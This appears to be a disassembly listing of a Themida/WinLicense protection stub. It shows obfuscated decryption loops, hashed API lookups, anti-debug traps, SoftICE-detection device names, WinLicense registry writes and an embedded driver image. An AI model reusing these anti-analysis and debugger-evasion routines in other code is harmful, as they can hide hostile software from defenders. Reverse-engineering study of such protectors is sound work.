; ---------------------------------------------------------------------------


loc_5A3E36:				; CODE XREF: Themida_:005A3E28j
		cmp	byte ptr [esi],	33h
		jnz	loc_5A3E47
		push	10h
		inc	esi
		jmp	loc_5A3E6B
; ---------------------------------------------------------------------------


loc_5A3E47:				; CODE XREF: Themida_:005A3E39j
		cmp	byte ptr [esi],	34h
		jnz	loc_5A3E58
		push	30h
		inc	esi
		jmp	loc_5A3E6B
; ---------------------------------------------------------------------------


loc_5A3E58:				; CODE XREF: Themida_:005A3E4Aj
		cmp	byte ptr [esi],	35h
		jnz	loc_5A3E69
		push	40h
		inc	esi
		jmp	loc_5A3E6B
; ---------------------------------------------------------------------------


loc_5A3E69:				; CODE XREF: Themida_:005A3E5Bj
		push	0


loc_5A3E6B:				; CODE XREF: Themida_:005A3E31j
					; Themida_:005A3E42j ...
		cmp	byte ptr [esi],	20h
		jnz	loc_5A3E86
		cmp	byte ptr [esi+1], 0
		jnz	loc_5A3E86
		add	esp, 8
		jmp	loc_5A3E9B
; ---------------------------------------------------------------------------


loc_5A3E86:				; CODE XREF: Themida_:005A3E6Ej
					; Themida_:005A3E78j
		lea	eax, [ebp+6151395h]
		nop
		push	eax
		nop
		push	eax
		mov	[esp], esi
		push	0
		call	dword ptr [ebp+61506D5h]


loc_5A3E9B:				; CODE XREF: Themida_:005A3E1Ej
					; Themida_:005A3E81j
		popa
		retn
; ---------------------------------------------------------------------------


loc_5A3E9D:				; CODE XREF: Themida_:loc_5A3E0Bj
		mov	byte ptr [ebp+61509C5h], 4Dh
		push	0A7D03A13h
		xor	dword ptr [esp], 3E54CBBh
		push	dword ptr [ebp+6150789h]
		lea	eax, [ebp+6153B38h]
		call	eax
		mov	[ebp+61506D5h],	eax
		call	loc_5A3EDD
		icebp
		int	3		; Trap to Debugger
		call	far ptr	1FEEh:1B26714Bh
		jz	short near ptr loc_5A3EFF+3
		adc	al, 0C1h
		mov	eax, 0A5ABEB52h
		pop	ebx
		dec	esp


loc_5A3EDD:				; CODE XREF: Themida_:005A3EC4p
		mov	[ebp+6152359h],	ecx
		pop	esi
		jns	loc_5A3EF0
		mov	[ebp+615215Dh],	ecx


loc_5A3EF0:				; CODE XREF: Themida_:005A3EE4j
		add	esi, 6918h
		pusha
		push	ecx
		mov	[ebp+615086Dh],	ecx
		pop	ebx


loc_5A3EFF:				; CODE XREF: Themida_:005A3ED2j
		mov	esi, [ebp+6151735h]
		popa
		xor	edx, edx


loc_5A3F08:				; CODE XREF: Themida_:005A3F4Bj
		push	dword ptr [edx+esi]
		stc
		pop	edi
		mov	ax, di
		xor	edi, 51203284h
		mov	bx, 9AE6h
		sub	edi, 44EFF1B4h
		mov	ecx, [ebp+6150C5Dh]
		sub	edi, 69A78055h
		push	edi
		mov	ebx, [ebp+6151005h]
		pop	ecx
		mov	[esi+edx], edi
		jnp	loc_5A3F41
		mov	cx, 20CBh


loc_5A3F41:				; CODE XREF: Themida_:005A3F37j
		sub	edx, 4
		stc
		cmp	edx, 0FFFF976Ch
		jnz	loc_5A3F08
		jmp	loc_5A4000
; ---------------------------------------------------------------------------
aSoftwareWinlic	db 'Software\WinLicense',0
aCheckin	db 'CheckIN',0
aXprotexit	db 'XprotExit',0
aCheckout	db 'CheckOUT',0
aWinlicensevers	db 'WinLicenseVersion',0
aWinlicensedriv	db 'WinLicenseDriverVersion',0
aWinlicenseinst	db 'WinLicenseInstance',0
aExitok		db 'ExitOk',0
aProcin		db 'ProcIN',0
aProcout	db 'ProcOUT',0
aExitin		db 'ExitIN',0
aExitout	db 'ExitOUT',0
aTpin		db 'TpIN',0
		dd 3 dup(0)
		dd 77DEB908h, 77DFD5BBh
; ---------------------------------------------------------------------------


loc_5A4000:				; CODE XREF: Themida_:005A3F51j
		jmp	loc_5A459B
; ---------------------------------------------------------------------------
		mov	[ebp+617A5C1h],	eax
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+617A5CDh]
		push	19h
		push	dword ptr [ebp+617A5C1h]
		push	1
		push	0
		lea	eax, [ebp+617A556h]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+617A5C9h]
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+617A5C1h],	eax
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+617A5CDh]
		push	4
		lea	eax, [ebp+617A5C1h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+617A580h]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+617A5C9h]
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+617A5C1h],	eax
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+617A5CDh]
		push	4
		lea	eax, [ebp+617A5C1h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+617A568h]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+617A5C9h]
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+617A5C1h],	eax
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+617A5CDh]
		push	4
		lea	eax, [ebp+617A5C1h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+617A593h]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+617A5C9h]
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+617A5C1h],	eax
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+617A5CDh]
		push	4
		lea	eax, [ebp+617A5C1h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+617A543h]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+617A5C9h]
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+615282Dh], 0
		jz	locret_5A41D4
		mov	ebx, [ebp+615282Dh]
		add	ebx, 4Ch
		mov	[ebx], eax

locret_5A41D4:				; CODE XREF: Themida_:005A41C3j
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+615282Dh], 0
		jz	locret_5A41ED
		mov	ebx, [ebp+615282Dh]
		add	ebx, 50h
		mov	[ebx], eax

locret_5A41ED:				; CODE XREF: Themida_:005A41DCj
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+615282Dh], 0
		jz	locret_5A4206
		mov	ebx, [ebp+615282Dh]
		add	ebx, 54h
		mov	[ebx], eax

locret_5A4206:				; CODE XREF: Themida_:005A41F5j
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+615282Dh], 0
		jz	locret_5A421F
		mov	ebx, [ebp+615282Dh]
		add	ebx, 58h
		mov	[ebx], eax

locret_5A421F:				; CODE XREF: Themida_:005A420Ej
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+615282Dh], 0
		jz	locret_5A4238
		mov	ebx, [ebp+615282Dh]
		add	ebx, 5Ch
		mov	[ebx], eax

locret_5A4238:				; CODE XREF: Themida_:005A4227j
		retn
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+617A5C1h],	eax
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+617A5CDh]
		push	4
		lea	eax, [ebp+617A5C1h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+617A5B8h]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		cmp	dword ptr [ebp+61508F5h], 0
		jz	loc_5A4293
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+617A5C9h]


loc_5A4293:				; CODE XREF: Themida_:005A4281j
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+617A5C1h],	eax
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+617A5CDh]
		push	4
		lea	eax, [ebp+617A5C1h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+617A59Ah]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		cmp	dword ptr [ebp+61508F5h], 0
		jz	loc_5A42FA
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+617A5C9h]


loc_5A42FA:				; CODE XREF: Themida_:005A42E8j
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+617A5C1h],	eax
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+617A5CDh]
		push	4
		lea	eax, [ebp+617A5C1h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+617A5A1h]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		cmp	dword ptr [ebp+61508F5h], 0
		jz	loc_5A4361
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+617A5C9h]


loc_5A4361:				; CODE XREF: Themida_:005A434Fj
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+617A5C1h],	eax
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+617A5CDh]
		push	4
		lea	eax, [ebp+617A5C1h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+617A5A9h]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		cmp	dword ptr [ebp+61508F5h], 0
		jz	loc_5A43C8
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+617A5C9h]


loc_5A43C8:				; CODE XREF: Themida_:005A43B6j
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+617A5C1h],	eax
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+617A5CDh]
		push	4
		lea	eax, [ebp+617A5C1h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+617A5B0h]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		cmp	dword ptr [ebp+61508F5h], 0
		jz	loc_5A442F
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+617A5C9h]


loc_5A442F:				; CODE XREF: Themida_:005A441Dj
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	dword ptr [ebp+617A5C1h], 1
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000002h
		call	dword ptr [ebp+617A5CDh]
		or	eax, eax
		jz	loc_5A4478
		mov	dword ptr [ebp+617A5C1h], 0
		jmp	loc_5A44C5
; ---------------------------------------------------------------------------


loc_5A4478:				; CODE XREF: Themida_:005A4463j
		push	4
		lea	eax, [ebp+617A5C1h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+617A53Bh]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		or	eax, eax
		jz	loc_5A44AF
		mov	dword ptr [ebp+617A5C1h], 0
		jmp	loc_5A44B9
; ---------------------------------------------------------------------------


loc_5A44AF:				; CODE XREF: Themida_:005A449Aj
		mov	dword ptr [ebp+617A5C1h], 1


loc_5A44B9:				; CODE XREF: Themida_:005A44AAj
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]


loc_5A44C5:				; CODE XREF: Themida_:005A4473j
		popa
		mov	eax, [ebp+617A5C1h]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+617A5C1h],	eax
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+617A5CDh]
		push	4
		lea	eax, [ebp+617A5C1h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+617A53Bh]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		cmp	dword ptr [ebp+61508F5h], 0
		jz	loc_5A4526
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+617A5C9h]


loc_5A4526:				; CODE XREF: Themida_:005A4514j
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+617A5C1h],	eax
		lea	eax, [ebp+617A5BDh]
		push	eax
		lea	eax, [ebp+617A527h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+617A5CDh]
		push	4
		lea	eax, [ebp+617A5C1h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+617A54Dh]
		push	eax
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6150345h]
		cmp	dword ptr [ebp+61508F5h], 0
		jz	loc_5A458D
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+617A5C9h]


loc_5A458D:				; CODE XREF: Themida_:005A457Bj
		push	dword ptr [ebp+617A5BDh]
		call	dword ptr [ebp+6151819h]
		popa
		retn
; ---------------------------------------------------------------------------


loc_5A459B:				; CODE XREF: Themida_:loc_5A4000j
		mov	byte ptr [ebp+61509C5h], 52h
		push	0ADE47B07h
		push	dword ptr [ebp+6151789h]
		call	dword ptr [ebp+6150D7Dh]
		mov	[ebp+617A5CDh],	eax
		mov	byte ptr [ebp+61509C5h], 52h
		push	902E00E5h
		push	dword ptr [ebp+6151789h]
		call	dword ptr [ebp+6150D7Dh]
		mov	[ebp+617A5C9h],	eax
		mov	byte ptr [ebp+61509C5h], 52h
		push	0B9BF1235h
		push	dword ptr [ebp+6151789h]
		call	dword ptr [ebp+6150D7Dh]
		mov	[ebp+6150345h],	eax
		mov	byte ptr [ebp+61509C5h], 52h
		push	98781034h
		push	dword ptr [ebp+6151789h]
		call	dword ptr [ebp+6150D7Dh]
		mov	[ebp+6151819h],	eax
		mov	byte ptr [ebp+61509C5h], 52h
		push	0C005DBD4h
		push	dword ptr [ebp+6151789h]
		call	dword ptr [ebp+6150D7Dh]
		mov	[ebp+6152391h],	eax
		jmp	short loc_5A4651
; ---------------------------------------------------------------------------
		db 5Ch
		dd 535C2E5Ch, 454349h
dword_5A463C	dd 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h
					; DATA XREF: Themida_:00579B38o
		db 0
; ---------------------------------------------------------------------------


loc_5A4651:				; CODE XREF: Themida_:005A4631j
		mov	eax, eax
		xor	edi, [ebp+615300Dh]
		cmp	dword ptr [ebp+61508F5h], 0
		jnz	short loc_5A466B
		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_5A4684


loc_5A466B:				; CODE XREF: Themida_:005A4660j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Fh
		mov	[ebp+6151385h],	eax
		lea	ebx, [ebp+617AA9Eh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A4684:				; CODE XREF: Themida_:005A4669j
		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_5A46A4 ; CODE	XREF: sub_5A46CA+10j
		push	eax
		push	ebx
		mov	eax, 40Fh
		mov	[ebp+6151385h],	eax
		lea	ebx, [ebp+617A78Dh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A46A4:				; CODE XREF: Themida_:005A468Bj
		mov	edi, 79CBF86Eh
		mov	eax, eax
		mov	dx, 0FFCBh
		mov	esi, 5743EEE5h
		mov	byte ptr [ebp+61509C5h], 43h
		or	esi, 68389A16h
		call	sub_5A46CA
		cld
		outsb
; ---------------------------------------------------------------------------
		db 8Eh,	0BCh

; =============== S U B	R O U T	I N E =======================================



sub_5A46CA	proc near		; CODE XREF: Themida_:005A46C1p
		push	eax
		mov	cl, bl
		mov	eax, [esp+4]
		mov	edi, eax
		mov	eax, [eax]
		call	sub_5A46E3
		db	2Eh
		jz	short near ptr loc_5A468B+1
		push	ebp
		push	3B60D229h
sub_5A46CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A46E3	proc near		; CODE XREF: sub_5A46CA+Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], eax
		pop	eax
		or	[ebp+61522F5h],	ecx
		push	dword ptr [ebp+6151685h]
		mov	[ebp+615127Dh],	eax
		lea	eax, [ebp+6153B38h]
		push	0
		push	edx
		call	sub_5A470C
		and	[edx-3Dh], bl
sub_5A46E3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A470C	proc near		; CODE XREF: sub_5A46E3+21p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5A470C	endp

; ---------------------------------------------------------------------------
		dd 0B79C172Bh, 0D0FF1558h, 12E9h, 72238D00h, 0B2883C67h
		dd 0C6CB1AF5h, 0DF8F920Fh, 90694095h, 18820Fh, 0EE80000h
		dd 0B7000000h, 546F154Fh, 8BFA5B4Bh, 0BECAE279h, 0C4BE66CBh
		dd 0F505F43h, 89h, 95299000h, 61533C1h,	830F006Ah, 1, 8DE468F5h
		dd 5060BB42h, 10E952h, 0CA600000h, 3FC5C3B4h, 6B5A1489h
		dd 0F77A1C2Dh, 310FCB3Fh, 0EE9h, 0C52D0A00h, 82B305F9h
		dd 34CBA0B1h, 5A12BE53h, 4816158h, 0BD729C24h, 8AB96644h
		dd 0E9036A95h, 0Dh, 607E76DBh, 0E6D7EF37h, 21A87CEEh, 0B1006A86h
		dd 0E8036A25h, 4, 0C0000000h, 6E8h, 3D540900h, 0B277FDA5h
		dd 8B505FB5h, 66042444h, 8BF88Bh, 4489F18Bh, 0D0BF0424h
		dd 58568F7Ah, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	81C35242h, 8DAD8661h, 17AC049Dh, 0D18D3106h, 50061526h
		dd 59F5B653h, 0BE241C89h, 2AB62A85h, 0C7B9D0FFh, 4017D7F8h
		dd 30C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 898DA0C3h, 15340D85h, 8D8B5806h
		dd 61506D9h, 8915B650h,	0F602404h, 688h, 81BD0300h, 0E806151Ch
		dd 14h,	110EACC2h, 0B887AAF6h, 10981B28h, 0CB52CC0h, 34A1E425h
		dd 5858Bh, 615A0615h, 6AF78B66h, 6830F00h, 89000000h, 152C8D8Dh
		dd 565A6806h, 34817049h, 4956DA24h, 36AF870h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 38C35343h, 5AEACA16h
		dd 168A0F61h, 0E9000000h, 11h, 0A0789077h, 50153688h, 4C546EEh
		dd 0F85151E8h, 80006ADDh, 36A92EEh, 939BD33h, 4E80615h
		dd 0
		dd 0B1C00000h, 12E8500Dh, 59000000h, 691AA3FFh,	390FD3F4h
		dd 862C5B45h, 0AC888682h, 38F0F8Ch, 66000000h, 8B5EF88Bh
		dd 60042444h, 5840Fh, 0A0BA0000h, 61219DBAh, 8B66008Bh
		dd 244489D3h, 50525004h, 0F5F5252h, 57BF6631h, 0F585ADBh
		dd 0BE831h, 6ADE0000h, 0B0D89347h, 0A4CE838Eh, 8A0F79h
		dd 5E000000h, 6A58585Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0B0A9C357h,	0D327FE49h
		dd 7E01DC50h, 0BD8BF78Bh, 6150749h, 0AC0D9D8Dh,	0C9810617h
		dd 3CF21022h, 52525050h, 0F5E5F56h, 800F31h, 5A000000h
		dd 241C8958h, 2479958Bh, 0D0FF0615h, 77850F40h,	8B000001h
		dd 958B58CBh, 6152919h,	50CA8B90h, 9E9h, 0D5C8D400h, 2B3C782Ch
		dd 899035B6h, 1510A9BDh, 8B006A06h, 152539BDh, 98B76806h
		dd 5652D2FBh, 310F5250h, 5E5A585Ah, 0C9240481h,	602D0467h
		dd 92D7B866h, 14F71BFh,	60606127h, 4419589h, 858B0615h
		dd 6151785h, 90D38161h,	617FEC90h, 6A036Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 32CF40C3h
		dd 6A367ED4h, 13E800h, 0B040000h, 9EB7B242h, 583849E2h
		dd 95A127ECh, 82A07232h, 68B96690h, 36A5907h, 97DA8166h
		dd 84D668B9h, 481ADE1h,	1E7B2A24h, 50006A12h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0EC6F7DD7h
		dd 99D89ECh, 8D061501h,	17AC189Dh, 60EA8106h, 504E2488h
		dd 0BE8h, 1694100h, 2908D241h, 0A0E3BE32h, 895987B5h, 6A241Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E83E31C3h, 11h, 0B9618Ah, 26E09EC5h, 0F20DCD84h, 0EC3974D0h
		dd 0C18B6016h, 3237D181h, 5A6157E9h, 0FFCF8B66h, 850F40D0h
		dd 2Eh,	2251B52Bh, 89580615h, 152FF5B5h, 164E906h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0D88BB4C3h, 0EF8ABEBAh, 6A4B5Dh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F7EE83C3h
		dd 7E0B20D3h, 85894BA3h, 61516F1h, 8BD3B658h, 150ACDBDh
		dd 0C585C606h, 43061509h, 10DDB589h, 5F680615h,	609A26BBh
		dd 51CF8B66h, 615B5956h, 0F8243481h, 0B65A50F1h, 85B5FF59h
		dd 6A061516h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 5E90C356h, 0B87C5E2Eh,	9D893147h
		dd 6152941h, 3B38858Dh,	95890615h, 6150C89h, 1CC98509h
		dd 0D0FF0615h, 11B52960h, 0F061530h, 689h, 59D0B00h, 61061500h
		dd 0B7B6E0BFh, 8B669356h, 0BE6650FEh, 6A93C893h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0B842C357h, 0F9A9EE5Dh, 0BD8BD0FFh, 61520B9h, 720D9D8Dh
		dd 7E80615h, 61000000h,	3EFEAEF1h, 0BD8B8AC0h, 6150121h
		dd 1B85Eh, 8D890000h, 6152335h,	6AE3FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E9BB7DC3h
		dd 0Ch,	0EF4114AEh, 0AC01BA31h,	49E35DD7h, 1791BD8Bh, 0C18B0615h
		dd 755928B9h, 21B58B4Dh, 8B061509h, 0E68060C0h,	0B8F6810Bh
		dd 61016D5Dh, 8F5BD83h,	75000615h, 0ADBD8309h, 61503h
		dd 53501974h, 0FB8C08Bh, 89000004h, 1502A185h, 59D8D06h
		dd 0FF0617ABh, 83585BD3h, 1503ADBDh, 17740006h,	0FB85350h
		dd 89000004h, 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 86B2C352h, 0F56EEF38h, 2AA9D1EEh,	9BD958Bh
		dd 8B520615h, 153405BDh, 0F5805906h, 0E9C08B06h, 20Eh
		dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h
		dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h
		dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h
		dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h
		dd 676F7270h, 2E6D6172h, 68h dup(0)
		dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 1509C585h, 86684706h, 0FFE3E45Bh
		dd 151685B5h, 38858D06h, 0FF06153Bh, 10468D0h, 9D8D0000h
		dd 6152B49h, 50D0FF53h,	0B4FDB58Dh, 0FE8B0617h,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 9C585C6h
		dd 68430615h, 0BC8E6EFCh, 1685B5FFh, 858D0615h,	6153B38h
		dd 0B58DD0FFh, 6152B49h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 1509C585h, 56685706h
		dd 0FFA69BEEh, 151685B5h, 38858D06h, 0FF06153Bh, 0D9BD8DD0h
		dd 8D061508h, 17B6238Dh, 57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 5B58D00h, 8D0617B3h, 17A3E185h, 8DD0FF06h
		dd 15720D8Dh, 0B806h, 0E1FF0000h, 9C585C6h, 68430615h
		dd 0C0764AA7h, 1685B5FFh, 858D0615h, 6153B38h, 0FF53D0FFh
		dd 0D0B9C3D0h, 0E8000037h, 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_5A504D
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_5A504D:				; CODE XREF: Themida_:005A5046j
					; DATA XREF: Themida_:0057C0CCo
		jmp	loc_5A8822
; ---------------------------------------------------------------------------
		dw 5A4Dh
		db 90h
		align 2
		dw 3
		dd 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8822:				; CODE XREF: Themida_:loc_5A504Dj
		call	near ptr loc_5A8827+5


loc_5A8827:				; CODE XREF: Themida_:loc_5A8822p
		mov	bl, [ebp-76E31630h]
		test	ds:5F06152Fh, ebp
		mov	[ebp+615269Dh],	eax
		add	edi, 6AFCh
		mov	dh, ah
		mov	ebx, 1BC70D69h
		add	ebx, 0E4390D33h
		cmc


loc_5A884D:				; CODE XREF: Themida_:005A88A9j
		push	dword ptr [edi]
		jns	loc_5A885B
		or	[ebp+615300Dh],	edx


loc_5A885B:				; CODE XREF: Themida_:005A884Fj
		pop	esi
		mov	edx, ebx
		xor	esi, 19D8A2ECh
		mov	cx, 0CF16h
		xor	esi, 6EF31964h
		adc	cx, 0BF64h
		sub	esi, 117799Ch
		mov	[ebp+61515F5h],	edx
		mov	[edi], esi
